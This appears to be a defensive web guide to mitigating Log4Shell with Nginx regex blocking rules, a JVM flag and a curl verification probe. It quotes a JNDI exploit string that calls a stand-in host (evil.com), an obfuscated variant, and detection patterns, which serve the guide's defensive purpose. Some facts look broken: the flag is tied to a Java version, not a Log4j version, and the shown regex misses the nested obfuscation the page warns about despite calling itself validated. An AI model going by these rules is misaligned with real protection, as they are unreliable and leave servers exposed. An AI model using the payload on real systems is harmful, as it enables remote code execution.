Log4Shell (CVE-2021-44228) Hot-Patching & WAF Regex Mitigation

Emergency WAF regex filtering patterns and JVM flags to neutralize JNDI LDAP remote code execution exploits in Java applications.

1. Attack Signature & Impact Analysis

Catastrophic (CVSS 10.0 RCE)

Log4j interprets expressions like `${jndi:ldap://evil.com/a}` inside log statements, triggering outgoing LDAP queries that load and execute arbitrary remote bytecodes.

2. Production Hardening Configuration (`/etc/nginx/conf.d/block-log4j.conf`)

Deploy this validated configuration to your production server or reverse proxy:

# Nginx WAF Regex to block JNDI lookup strings across User-Agent, URI, and Headers
if ($http_user_agent ~* "(\$|%24)(\{|%7B)([^\}]*?)(j|%6A)(n|%6E)(d|%64)(i|%69)(:|%3A)") {
    return 403;
}
if ($request_uri ~* "(\$|%24)(\{|%7B)([^\}]*?)(j|%6A)(n|%6E)(d|%64)(i|%69)(:|%3A)") {
    return 403;
}

# JVM-level hotfix flag (Java 8u121+):
# Add to JAVA_OPTS: -Dlog4j2.formatMsgNoLookups=true

3. Live Simulation & Rule Verification Command

Execute these commands to verify that traffic is actively mitigated without service downtime:

# Probe endpoint with innocuous JNDI payload
curl -I -H "User-Agent: ${jndi:ldap://127.0.0.1:1389/test}" https://yourdomain.com
# Server must respond with HTTP 403 Forbidden

4. Common Misconfigurations & Troubleshooting Gotchas

⚠️ Production Caution: Attackers obfuscate strings like `${${lower:j}ndi:ldap...}`. Regex must be case-insensitive and handle nested parameter expansions.

5. Best Paired With (Complementary Defense Recipes)

Security engineers implementing this rule frequently deploy these complementary baselines: